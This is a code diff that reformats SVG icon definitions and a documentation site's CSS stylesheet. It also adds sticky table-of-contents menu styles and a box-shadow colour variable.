d: "M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.012 8.012 0 0 0 16 8c0-4.42-3.58-8-8-8z",
|
||||
d: 'M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.012 8.012 0 0 0 16 8c0-4.42-3.58-8-8-8z',
|
||||
},
|
||||
},
|
||||
],
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
export const editor = {
|
||||
type: 'element',
|
||||
tagName: 'svg',
|
||||
properties: {
|
||||
viewBox: "0 0 36 36",
|
||||
fill: "currentColor",
|
||||
height: "1em",
|
||||
width: "1em"
|
||||
viewBox: '0 0 36 36',
|
||||
fill: 'currentColor',
|
||||
height: '1em',
|
||||
width: '1em',
|
||||
},
|
||||
children: [
|
||||
{
|
||||
type: 'element',
|
||||
tagName: 'path',
|
||||
properties: {
|
||||
d: "m33 6.4-3.7-3.7a1.71 1.71 0 0 0-2.36 0L23.65 6H6a2 2 0 0 0-2 2v22a2 2 0 0 0 2 2h22a2 2 0 0 0 2-2V11.76l3-3a1.67 1.67 0 0 0 0-2.36ZM18.83 20.13l-4.19.93 1-4.15 9.55-9.57 3.23 3.23ZM29.5 9.43 26.27 6.2l1.85-1.85 3.23 3.23Z",
|
||||
d: 'm33 6.4-3.7-3.7a1.71 1.71 0 0 0-2.36 0L23.65 6H6a2 2 0 0 0-2 2v22a2 2 0 0 0 2 2h22a2 2 0 0 0 2-2V11.76l3-3a1.67 1.67 0 0 0 0-2.36ZM18.83 20.13l-4.19.93 1-4.15 9.55-9.57 3.23 3.23ZM29.5 9.43 26.27 6.2l1.85-1.85 3.23 3.23Z',
|
||||
},
|
||||
},
|
||||
{
|
||||
@ -92,8 +89,8 @@ export const editor = {
|
||||
tagName: 'path',
|
||||
properties: {
|
||||
fill: 'none',
|
||||
d: "M0 0h36v36H0z",
|
||||
d: 'M0 0h36v36H0z',
|
||||
},
|
||||
},
|
||||
],
|
||||
}
|
||||
};
|
||||
|
||||
@ -6,7 +6,8 @@ body {
|
||||
tab-size: 4;
|
||||
margin: 0;
|
||||
line-height: inherit;
|
||||
font-family: -apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";
|
||||
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Helvetica, Arial, sans-serif, 'Apple Color Emoji',
|
||||
'Segoe UI Emoji';
|
||||
}
|
||||
|
||||
[data-color-mode*='dark'] body .dark {
|
||||
@ -22,7 +23,8 @@ body {
|
||||
display: none;
|
||||
}
|
||||
|
||||
[data-color-mode*='light'], [data-color-mode*='light'] body {
|
||||
[data-color-mode*='light'],
|
||||
[data-color-mode*='light'] body {
|
||||
--color-prettylights-syntax-comment: #b1bac3;
|
||||
--color-prettylights-syntax-constant: #0550ae;
|
||||
--color-prettylights-syntax-entity: #8250df;
|
||||
@ -42,7 +44,7 @@ body {
|
||||
--color-prettylights-syntax-markup-italic: #24292f;
|
||||
--color-prettylights-syntax-markup-bold: #24292f;
|
||||
--color-prettylights-syntax-markup-deleted-text: #82071e;
|
||||
--color-prettylights-syntax-markup-deleted-bg: #FFEBE9;
|
||||
--color-prettylights-syntax-markup-deleted-bg: #ffebe9;
|
||||
--color-prettylights-syntax-markup-inserted-text: #116329;
|
||||
--color-prettylights-syntax-markup-inserted-bg: #dafbe1;
|
||||
--color-prettylights-syntax-markup-changed-text: #953800;
|
||||
@ -61,14 +63,16 @@ body {
|
||||
--color-bg-subtle: #f8f9fa;
|
||||
--color-border-default: #d0d7de;
|
||||
--color-border-muted: #ececec94;
|
||||
--color-neutral-muted: rgba(175,184,193,0.2);
|
||||
--color-neutral-muted: rgba(175, 184, 193, 0.2);
|
||||
--color-accent-fg: #0969da;
|
||||
--color-accent-emphasis: #0969da;
|
||||
--color-attention-subtle: #fff8c5;
|
||||
--color-danger-fg: #cf222e;
|
||||
--box-shadow: 109 109 109;
|
||||
}
|
||||
|
||||
[data-color-mode*='dark'], [data-color-mode*='dark'] body {
|
||||
[data-color-mode*='dark'],
|
||||
[data-color-mode*='dark'] body {
|
||||
--color-prettylights-syntax-comment: #8b949e;
|
||||
--color-prettylights-syntax-constant: #79c0ff;
|
||||
--color-prettylights-syntax-entity: #d2a8ff;
|
||||
@ -110,8 +114,9 @@ body {
|
||||
--color-neutral-muted: rgb(51 65 85/0.3);
|
||||
--color-accent-fg: #58a6ff;
|
||||
--color-accent-emphasis: #1f6feb;
|
||||
--color-attention-subtle: rgba(187,128,9,0.15);
|
||||
--color-attention-subtle: rgba(187, 128, 9, 0.15);
|
||||
--color-danger-fg: #f85149;
|
||||
--box-shadow: 0 0 0;
|
||||
}
|
||||
|
||||
body {
|
||||
@ -119,18 +124,39 @@ body {
|
||||
background-color: var(--color-canvas-default);
|
||||
}
|
||||
|
||||
*, ::before, ::after {
|
||||
*,
|
||||
::before,
|
||||
::after {
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
blockquote, dl, dd, h1, h2, h3, h4, h5, h6, hr, figure, p, pre {
|
||||
blockquote,
|
||||
dl,
|
||||
dd,
|
||||
h1,
|
||||
h2,
|
||||
h3,
|
||||
h4,
|
||||
h5,
|
||||
h6,
|
||||
hr,
|
||||
figure,
|
||||
p,
|
||||
pre {
|
||||
margin: 0;
|
||||
}
|
||||
h1,h2,h3,h4,h5,h6 {
|
||||
h1,
|
||||
h2,
|
||||
h3,
|
||||
h4,
|
||||
h5,
|
||||
h6 {
|
||||
font-size: inherit;
|
||||
font-weight: inherit
|
||||
font-weight: inherit;
|
||||
}
|
||||
ol, ul, menu {
|
||||
ol,
|
||||
ul,
|
||||
menu {
|
||||
list-style: none;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
@ -143,12 +169,16 @@ pur {
|
||||
color: var(--color-prettylights-syntax-entity);
|
||||
}
|
||||
|
||||
.wrap-body > p > code, .wrap-body > ul li > code, .wrap-body tbody td code {
|
||||
.wrap-body > p > code,
|
||||
.wrap-body > ul li > code,
|
||||
.wrap-body tbody td code {
|
||||
--text-opacity: 1;
|
||||
color: rgb(5 150 105/var(--text-opacity));
|
||||
color: rgb(5 150 105 / var(--text-opacity));
|
||||
}
|
||||
|
||||
.wrap-body em, .wrap-body sup, .wrap-body sub {
|
||||
.wrap-body em,
|
||||
.wrap-body sup,
|
||||
.wrap-body sub {
|
||||
color: var(--color-fg-subtle);
|
||||
}
|
||||
|
||||
@ -156,13 +186,16 @@ table {
|
||||
width: 100%;
|
||||
text-indent: 0;
|
||||
border-color: inherit;
|
||||
border-collapse: collapse
|
||||
border-collapse: collapse;
|
||||
}
|
||||
table td:first-child {
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
table.shortcuts td:not(:last-child)>code, table.shortcuts td:not(:last-child)>del>code, ul.shortcuts li > code, kbd {
|
||||
table.shortcuts td:not(:last-child) > code,
|
||||
table.shortcuts td:not(:last-child) > del > code,
|
||||
ul.shortcuts li > code,
|
||||
kbd {
|
||||
background-color: var(--color-neutral-muted);
|
||||
color: var(--color-fg-subtle);
|
||||
box-shadow: 0 0 #0000, 0 0 #0000, 0 0 #0000;
|
||||
@ -171,21 +204,23 @@ table.shortcuts td:not(:last-child)>code, table.shortcuts td:not(:last-child)>de
|
||||
border: 1px solid var(--color-border-muted);
|
||||
border-color: var(--color-border-default);
|
||||
line-height: 1.5;
|
||||
font-family: Arial,Helvetica,sans-serif;
|
||||
font-family: Arial, Helvetica, sans-serif;
|
||||
font-size: 12px;
|
||||
display: inline-block;
|
||||
border-radius: 3px;
|
||||
}
|
||||
|
||||
table tr+tr {
|
||||
table tr + tr {
|
||||
border-top: solid 1px #ececec94;
|
||||
border-color: var(--color-border-muted);
|
||||
}
|
||||
table td, table th {
|
||||
table td,
|
||||
table th {
|
||||
padding: 9px 14px;
|
||||
text-align: left;
|
||||
}
|
||||
table tr th:last-child, table tr td:last-child {
|
||||
table tr th:last-child,
|
||||
table tr td:last-child {
|
||||
text-align: right;
|
||||
}
|
||||
|
||||
@ -197,13 +232,15 @@ table thead th {
|
||||
|
||||
table thead {
|
||||
display: none;
|
||||
border-bottom: solid 1px rgba(85,102,119,0.3);
|
||||
border-bottom: solid 1px rgba(85, 102, 119, 0.3);
|
||||
}
|
||||
table td:first-child>code {
|
||||
table td:first-child > code {
|
||||
--text-opacity: 1;
|
||||
color: rgb(5 150 105/var(--text-opacity));
|
||||
color: rgb(5 150 105 / var(--text-opacity));
|
||||
}
|
||||
table td > del, table td:first-child > del > code, .wrap-body p > del > code {
|
||||
table td > del,
|
||||
table td:first-child > del > code,
|
||||
.wrap-body p > del > code {
|
||||
color: var(--color-danger-fg);
|
||||
}
|
||||
|
||||
@ -211,16 +248,19 @@ table.show-header thead {
|
||||
display: table-header-group;
|
||||
}
|
||||
|
||||
table.style-list td + td, table.style-list-arrow td + td {
|
||||
table.style-list td + td,
|
||||
table.style-list-arrow td + td {
|
||||
padding-top: 0 !important;
|
||||
}
|
||||
|
||||
table.style-list td, table.style-list-arrow td {
|
||||
table.style-list td,
|
||||
table.style-list-arrow td {
|
||||
display: block;
|
||||
text-align: left !important;
|
||||
}
|
||||
|
||||
table.style-list-arrow td:first-child::before, ul.style-arrow li:before {
|
||||
table.style-list-arrow td:first-child::before,
|
||||
ul.style-arrow li:before {
|
||||
content: '';
|
||||
display: inline-block;
|
||||
width: 0px;
|
||||
@ -231,8 +271,9 @@ table.style-list-arrow td:first-child::before, ul.style-arrow li:before {
|
||||
border-bottom: 5px solid transparent;
|
||||
}
|
||||
|
||||
tt, code {
|
||||
font-family: ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;
|
||||
tt,
|
||||
code {
|
||||
font-family: ui-monospace, SFMono-Regular, SF Mono, Menlo, Consolas, Liberation Mono, monospace;
|
||||
font-size: 1em;
|
||||
}
|
||||
pre:only-child {
|
||||
@ -242,7 +283,7 @@ pre:only-child {
|
||||
pre {
|
||||
margin-top: 0;
|
||||
margin-bottom: 0;
|
||||
font-family: ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;
|
||||
font-family: ui-monospace, SFMono-Regular, SF Mono, Menlo, Consolas, Liberation Mono, monospace;
|
||||
word-wrap: normal;
|
||||
line-height: 1.5;
|
||||
overflow: hidden;
|
||||
@ -252,8 +293,9 @@ pre {
|
||||
.max-container a {
|
||||
color: rgb(2 132 199/1);
|
||||
}
|
||||
.max-container a, .max-container a:visited {
|
||||
background-image: linear-gradient(transparent,transparent 6px,#34495e 6px,#34495e);
|
||||
.max-container a,
|
||||
.max-container a:visited {
|
||||
background-image: linear-gradient(transparent, transparent 6px, #34495e 6px, #34495e);
|
||||
background-position: bottom;
|
||||
background-size: 100% 6px;
|
||||
background-repeat: repeat-x;
|
||||
@ -263,7 +305,8 @@ pre {
|
||||
text-decoration-color: transparent;
|
||||
}
|
||||
|
||||
.max-container a:hover, .max-container a:visited:hover{
|
||||
.max-container a:hover,
|
||||
.max-container a:visited:hover {
|
||||
text-decoration-color: #10b981;
|
||||
}
|
||||
|
||||
@ -274,7 +317,8 @@ pre {
|
||||
padding: 0.75rem;
|
||||
}
|
||||
|
||||
body.home .h1wrap-body, body.home .h1wrap .wrap-body {
|
||||
body.home .h1wrap-body,
|
||||
body.home .h1wrap .wrap-body {
|
||||
max-width: 940px;
|
||||
margin-left: auto;
|
||||
margin-right: auto;
|
||||
@ -292,7 +336,7 @@ body.home .h2wrap > h2::after {
|
||||
width: 110%;
|
||||
margin-top: 0.5rem;
|
||||
--bg-opacity: 1;
|
||||
background-color: rgb(30 41 59/var(--bg-opacity));
|
||||
background-color: rgb(30 41 59 / var(--bg-opacity));
|
||||
}
|
||||
body.home .h1wrap .wrap-body p + p {
|
||||
margin-top: 1.6rem;
|
||||
@ -309,8 +353,9 @@ body:not(.home) .h2wrap > .wrap-body > ul {
|
||||
body.home .h1wrap p {
|
||||
text-align: left;
|
||||
}
|
||||
body.home .max-container a:hover, body.home .max-container a:visited:hover {
|
||||
transition: all .3s;
|
||||
body.home .max-container a.home-button:hover,
|
||||
body.home .max-container a.home-button:visited:hover {
|
||||
transition: all 0.3s;
|
||||
text-decoration-color: #fff;
|
||||
color: #fff;
|
||||
}
|
||||
@ -318,16 +363,16 @@ body.home .max-container a:hover, body.home .max-container a:visited:hover {
|
||||
.home-card {
|
||||
display: grid;
|
||||
gap: 2rem;
|
||||
grid-template-columns: repeat(2,minmax(0,1fr));
|
||||
grid-template-columns: repeat(2, minmax(0, 1fr));
|
||||
}
|
||||
|
||||
[data-color-mode*='light'] body .home-card a {
|
||||
--text-opacity: 0.75;
|
||||
color: rgb(15 19 24/var(--text-opacity));
|
||||
color: rgb(15 19 24 / var(--text-opacity));
|
||||
}
|
||||
[data-color-mode*='light'] body .home-card a:hover {
|
||||
--text-opacity: 0.85;
|
||||
color: rgb(241 245 249/var(--text-opacity)) !important;
|
||||
color: rgb(241 245 249 / var(--text-opacity)) !important;
|
||||
}
|
||||
.home-card a {
|
||||
display: flex;
|
||||
@ -337,13 +382,13 @@ body.home .max-container a:hover, body.home .max-container a:visited:hover {
|
||||
border-radius: 0.5rem;
|
||||
padding: 0rem 1rem;
|
||||
height: 4rem;
|
||||
box-shadow: 0 0 #0000,0 0 #0000,0 1px 2px 0 rgba(0,0,0,0.05);
|
||||
box-shadow: 0 0 #0000, 0 0 #0000, 0 1px 2px 0 rgba(0, 0, 0, 0.05);
|
||||
color: var(--color-fg-default);
|
||||
--text-opacity: 0.75;
|
||||
color: rgb(241 245 249/var(--text-opacity));
|
||||
color: rgb(241 245 249 / var(--text-opacity));
|
||||
--bg-opacity: 0.5;
|
||||
background-color: rgb(62 69 72/var(--bg-opacity));
|
||||
transition: all .3s;
|
||||
background-color: rgb(62 69 72 / var(--bg-opacity));
|
||||
transition: all 0.3s;
|
||||
text-decoration: none;
|
||||
}
|
||||
.home-card a:hover {
|
||||
@ -372,23 +417,26 @@ a.home-button {
|
||||
margin-left: 1rem;
|
||||
margin-right: 1rem;
|
||||
--bg-opacity: 1;
|
||||
background-color: rgb(10 147 102/var(--bg-opacity));
|
||||
background-color: rgb(10 147 102 / var(--bg-opacity));
|
||||
--text-opacity: 1;
|
||||
color: rgb(203 213 225/var(--text-opacity));
|
||||
color: rgb(203 213 225 / var(--text-opacity));
|
||||
}
|
||||
a.home-button:hover {
|
||||
--bg-opacity: 0.5;
|
||||
}
|
||||
a.text-grey {
|
||||
--bg-opacity: 1;
|
||||
background-color: rgb(56 76 109/var(--bg-opacity));
|
||||
background-color: rgb(56 76 109 / var(--bg-opacity));
|
||||
}
|
||||
|
||||
.header-nav .max-container {
|
||||
padding: 1.8rem 1.8rem 0;
|
||||
}
|
||||
|
||||
.header-nav .max-container, .header-nav .logo, .header-nav .menu, .header-nav .menu a {
|
||||
.header-nav .max-container,
|
||||
.header-nav .logo,
|
||||
.header-nav .menu,
|
||||
.header-nav .menu a {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
@ -409,17 +457,19 @@ a.text-grey {
|
||||
font-size: 40px;
|
||||
}
|
||||
|
||||
.header-nav .menu a:hover, .header-nav .menu button:hover {
|
||||
.header-nav .menu a:hover,
|
||||
.header-nav .menu button:hover {
|
||||
background-color: var(--color-neutral-muted);
|
||||
}
|
||||
|
||||
.header-nav .menu a, .header-nav .menu button {
|
||||
.header-nav .menu a,
|
||||
.header-nav .menu button {
|
||||
padding-left: 0.75rem;
|
||||
padding-right: 0.75rem;
|
||||
padding-top: 0.5rem;
|
||||
padding-bottom: 0.5rem;
|
||||
border-radius: 9999px;
|
||||
transition: all .3s;
|
||||
transition: all 0.3s;
|
||||
border: 0;
|
||||
}
|
||||
|
||||
@ -441,7 +491,8 @@ a.text-grey {
|
||||
font-size: 18px;
|
||||
}
|
||||
|
||||
.header-nav a, .header-nav a:visited {
|
||||
.header-nav a,
|
||||
.header-nav a:visited {
|
||||
color: var(--color-fg-default);
|
||||
line-height: 1.2;
|
||||
gap: 0.3rem;
|
||||
@ -474,6 +525,66 @@ a.text-grey {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 3rem;
|
||||
position: relative;
|
||||
}
|
||||
.menu-tocs {
|
||||
position: sticky;
|
||||
top: 0;
|
||||
z-index: 88;
|
||||
display: inline-flex;
|
||||
}
|
||||
.menu-tocs:hover > .menu-modal {
|
||||
display: block;
|
||||
border-radius: 0.5rem;
|
||||
padding: 0.3rem;
|
||||
max-height: 100vh;
|
||||
overflow: auto;
|
||||
background-color: var(--color-canvas-subtle);
|
||||
box-shadow: 0 8px 24px rgba(var(--box-shadow) / 0.2);
|
||||
}
|
||||
.menu-tocs > .menu-btn {
|
||||
border: 1px solid var(--color-border-default);
|
||||
display: flex;
|
||||
border-radius: 0.3rem;
|
||||
padding: 0.3rem 0.4rem;
|
||||
font-size: 1.3rem;
|
||||
margin-left: -3rem;
|
||||
margin-top: 0.3rem;
|
||||
position: absolute;
|
||||
}
|
||||
.menu-tocs > .menu-modal {
|
||||
width: 260px;
|
||||
position: absolute;
|
||||
display: none;
|
||||
margin-left: -1rem;
|
||||
}
|
||||
.menu-tocs > .menu-modal a + a {
|
||||
margin-bottom: 0.2rem;
|
||||
}
|
||||
.menu-tocs > .menu-modal a:hover {
|
||||
background-color: var(--color-neutral-muted);
|
||||
}
|
||||
.menu-tocs > .menu-modal a.is-active-link {
|
||||
background-color: var(--color-border-muted);
|
||||
text-decoration-color: #10b981;
|
||||
}
|
||||
.menu-tocs > .menu-modal a {
|
||||
display: block;
|
||||
overflow: hidden;
|
||||
padding: 0.3rem 0.5rem;
|
||||
}
|
||||
|
||||
.menu-tocs > .menu-modal a.leve2 {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.menu-tocs > .menu-modal a.leve3 {
|
||||
padding-left: 1.2rem;
|
||||
}
|
||||
.menu-tocs > .menu-modal a.leve4,
|
||||
.menu-tocs > .menu-modal a.leve5,
|
||||
.menu-tocs > .menu-modal a.leve6 {
|
||||
padding-left: 2.1rem;
|
||||
}
|
||||
|
||||
.wrap-header.h2wrap > h2 {
|
||||
@ -484,7 +595,8 @@ a.text-grey {
|
||||
font-size: 30px;
|
||||
line-height: 1.2;
|
||||
font-weight: 200;
|
||||
font-family: -apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;
|
||||
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Roboto', 'Oxygen', 'Ubuntu', 'Cantarell', 'Fira Sans',
|
||||
'Droid Sans', 'Helvetica Neue', sans-serif;
|
||||
margin-top: 0;
|
||||
}
|
||||
|
||||
@ -495,7 +607,8 @@ a.text-grey {
|
||||
color: rgb(148 163 184/1);
|
||||
}
|
||||
|
||||
body:not(.home) .h2wrap > h2 a::after, body:not(.home) .h3wrap > h3 a::after {
|
||||
body:not(.home) .h2wrap > h2 a::after,
|
||||
body:not(.home) .h3wrap > h3 a::after {
|
||||
content: '#';
|
||||
padding-right: 0.5rem;
|
||||
color: rgb(16 185 129/1);
|
||||
@ -535,7 +648,8 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
|
||||
letter-spacing: 0.05em;
|
||||
}
|
||||
|
||||
.wrap-header.h3wrap > .wrap-body p, .wrap-header.h4wrap > .wrap-body p {
|
||||
.wrap-header.h3wrap > .wrap-body p,
|
||||
.wrap-header.h4wrap > .wrap-body p {
|
||||
margin: 0px;
|
||||
width: 100%;
|
||||
padding-left: 1rem;
|
||||
@ -550,7 +664,7 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
|
||||
background-color: var(--color-bg-subtle);
|
||||
color: rgb(30 41 59/0);
|
||||
content: '-';
|
||||
line-height: 1.50rem;
|
||||
line-height: 1.5rem;
|
||||
top: 0;
|
||||
position: absolute;
|
||||
left: 0px;
|
||||
@ -588,7 +702,6 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
|
||||
.h4wrap > .wrap-body ul,
|
||||
.h4wrap > .wrap-body ol,
|
||||
.h4wrap > .wrap-body dl,
|
||||
|
||||
.h3wrap > .wrap-body ul,
|
||||
.h3wrap > .wrap-body ol,
|
||||
.h3wrap > .wrap-body dl {
|
||||
@ -596,7 +709,7 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
|
||||
margin-bottom: 0.5rem;
|
||||
display: grid;
|
||||
list-style-position: outside;
|
||||
grid-template-columns: repeat(1,minmax(0,1fr));
|
||||
grid-template-columns: repeat(1, minmax(0, 1fr));
|
||||
}
|
||||
|
||||
.h4wrap > .wrap-body ul + hr {
|
||||
@ -618,7 +731,7 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
|
||||
border-bottom: solid 1px var(--color-border-muted);
|
||||
}
|
||||
|
||||
.h2wrap-body ul:not(.style-none)>li::before {
|
||||
.h2wrap-body ul:not(.style-none) > li::before {
|
||||
content: '';
|
||||
position: absolute;
|
||||
display: inline-block;
|
||||
@ -654,13 +767,13 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
|
||||
width: 1.5rem;
|
||||
text-align: center;
|
||||
font-size: 0.875rem;
|
||||
line-height: 1.30rem;
|
||||
line-height: 1.3rem;
|
||||
border: 2px solid #228e6c;
|
||||
top: -1px;
|
||||
left: -14px;
|
||||
}
|
||||
.h2wrap-body ul.style-timeline li:last-child {
|
||||
border-image: linear-gradient(to bottom,#46c69e96,rgba(0,0,0,0)) 1 100%;
|
||||
border-image: linear-gradient(to bottom, #46c69e96, rgba(0, 0, 0, 0)) 1 100%;
|
||||
}
|
||||
.h2wrap-body ul.style-timeline li {
|
||||
border-bottom: 0 !important;
|
||||
@ -703,7 +816,8 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
|
||||
border-bottom: 0;
|
||||
}
|
||||
|
||||
.h3wrap hr, .h3wrap-body hr {
|
||||
.h3wrap hr,
|
||||
.h3wrap-body hr {
|
||||
border-width: 0;
|
||||
border-style: solid;
|
||||
border-color: #e5e7eb;
|
||||
@ -712,7 +826,7 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
|
||||
|
||||
.h2wrap-body {
|
||||
font-size: 0.925rem;
|
||||
grid-template-columns: repeat(3,minmax(0,1fr));
|
||||
grid-template-columns: repeat(3, minmax(0, 1fr));
|
||||
flex-direction: column;
|
||||
}
|
||||
|
||||
@ -724,7 +838,7 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
|
||||
border-radius: 0.5rem;
|
||||
padding-top: 1.5rem;
|
||||
margin-bottom: 1rem;
|
||||
box-shadow: 0 0 #0000, 0 0 #0000, 0 6px 8px rgba(102,119,136,0.03),0 1px 2px rgba(102,119,136,0.3);
|
||||
box-shadow: 0 0 #0000, 0 0 #0000, 0 6px 8px rgba(102, 119, 136, 0.03), 0 1px 2px rgba(102, 119, 136, 0.3);
|
||||
}
|
||||
|
||||
.h2wrap-body > .wrap .wrap-body > *:last-child {
|
||||
@ -741,33 +855,87 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
|
||||
overflow-x: auto;
|
||||
}
|
||||
|
||||
.cols-1 { grid-template-columns: repeat(1,minmax(0,1fr)) !important; }
|
||||
.cols-2 { grid-template-columns: repeat(2,minmax(0,1fr)) !important; }
|
||||
.cols-3 { grid-template-columns: repeat(3,minmax(0,1fr)) !important; }
|
||||
.cols-4 { grid-template-columns: repeat(4,minmax(0,1fr)) !important; }
|
||||
.cols-5 { grid-template-columns: repeat(5,minmax(0,1fr)) !important; }
|
||||
.cols-6 { grid-template-columns: repeat(6,minmax(0,1fr)) !important; }
|
||||
.cols-7 { grid-template-columns: repeat(7,minmax(0,1fr)) !important; }
|
||||
.cols-8 { grid-template-columns: repeat(8,minmax(0,1fr)) !important; }
|
||||
.cols-9 { grid-template-columns: repeat(9,minmax(0,1fr)) !important; }
|
||||
.col-span-2 { grid-column: span 2/span 2; }
|
||||
.col-span-3 { grid-column: span 3/span 3; }
|
||||
.col-span-4 { grid-column: span 4/span 4; }
|
||||
.col-span-5 { grid-column: span 5/span 5; }
|
||||
.col-span-6 { grid-column: span 6/span 6; }
|
||||
.col-span-7 { grid-column: span 7/span 7; }
|
||||
.col-span-8 { grid-column: span 8/span 8; }
|
||||
.col-span-9 { grid-column: span 9/span 9; }
|
||||
.col-span-10 { grid-column: span 10/span 10; }
|
||||
.row-span-2 { grid-row: span 2/span 2; }
|
||||
.row-span-3 { grid-row: span 3/span 3; }
|
||||
.row-span-4 { grid-row: span 4/span 4; }
|
||||
.row-span-5 { grid-row: span 5/span 5; }
|
||||
.row-span-6 { grid-row: span 6/span 6; }
|
||||
.row-span-7 { grid-row: span 7/span 7; }
|
||||
.row-span-8 { grid-row: span 8/span 8; }
|
||||
.row-span-9 { grid-row: span 9/span 9; }
|
||||
.row-span-10 { grid-row: span 10/span 10; }
|
||||
.cols-1 {
|
||||
grid-template-columns: repeat(1, minmax(0, 1fr)) !important;
|
||||
}
|
||||
.cols-2 {
|
||||
grid-template-columns: repeat(2, minmax(0, 1fr)) !important;
|
||||
}
|
||||
.cols-3 {
|
||||
grid-template-columns: repeat(3, minmax(0, 1fr)) !important;
|
||||
}
|
||||
.cols-4 {
|
||||
grid-template-columns: repeat(4, minmax(0, 1fr)) !important;
|
||||
}
|
||||
.cols-5 {
|
||||
grid-template-columns: repeat(5, minmax(0, 1fr)) !important;
|
||||
}
|
||||
.cols-6 {
|
||||
grid-template-columns: repeat(6, minmax(0, 1fr)) !important;
|
||||
}
|
||||
.cols-7 {
|
||||
grid-template-columns: repeat(7, minmax(0, 1fr)) !important;
|
||||
}
|
||||
.cols-8 {
|
||||
grid-template-columns: repeat(8, minmax(0, 1fr)) !important;
|
||||
}
|
||||
.cols-9 {
|
||||
grid-template-columns: repeat(9, minmax(0, 1fr)) !important;
|
||||
}
|
||||
.col-span-2 {
|
||||
grid-column: span 2 / span 2;
|
||||
}
|
||||
.col-span-3 {
|
||||
grid-column: span 3 / span 3;
|
||||
}
|
||||
.col-span-4 {
|
||||
grid-column: span 4 / span 4;
|
||||
}
|
||||
.col-span-5 {
|
||||
grid-column: span 5 / span 5;
|
||||
}
|
||||
.col-span-6 {
|
||||
grid-column: span 6 / span 6;
|
||||
}
|
||||
.col-span-7 {
|
||||
grid-column: span 7 / span 7;
|
||||
}
|
||||
.col-span-8 {
|
||||
grid-column: span 8 / span 8;
|
||||
}
|
||||
.col-span-9 {
|
||||
grid-column: span 9 / span 9;
|
||||
}
|
||||
.col-span-10 {
|
||||
grid-column: span 10 / span 10;
|
||||
}
|
||||
.row-span-2 {
|
||||
grid-row: span 2 / span 2;
|
||||
}
|
||||
.row-span-3 {
|
||||
grid-row: span 3 / span 3;
|
||||
}
|
||||
.row-span-4 {
|
||||
grid-row: span 4 / span 4;
|
||||
}
|
||||
.row-span-5 {
|
||||
grid-row: span 5 / span 5;
|
||||
}
|
||||
.row-span-6 {
|
||||
grid-row: span 6 / span 6;
|
||||
}
|
||||
.row-span-7 {
|
||||
grid-row: span 7 / span 7;
|
||||
}
|
||||
.row-span-8 {
|
||||
grid-row: span 8 / span 8;
|
||||
}
|
||||
.row-span-9 {
|
||||
grid-row: span 9 / span 9;
|
||||
}
|
||||
.row-span-10 {
|
||||
grid-row: span 10 / span 10;
|
||||
}
|
||||
|
||||
.wrap-text {
|
||||
white-space: pre-wrap !important;
|
||||
@ -790,7 +958,7 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
|
||||
opacity: 0;
|
||||
border-radius: 0.5rem;
|
||||
z-index: 1;
|
||||
transition: opacity .6s;
|
||||
transition: opacity 0.6s;
|
||||
line-height: 1.5;
|
||||
|
||||
width: 220px;
|
||||
@ -799,7 +967,7 @@ body:not(.home) .h2wrap-body > .wrap:hover .h3wrap > h3 a::after {
|
||||
margin-left: -110px;
|
||||
}
|
||||
.tooltip .tooltiptext::after {
|
||||
content: "";
|
||||
content: '';
|
||||
position: absolute;
|
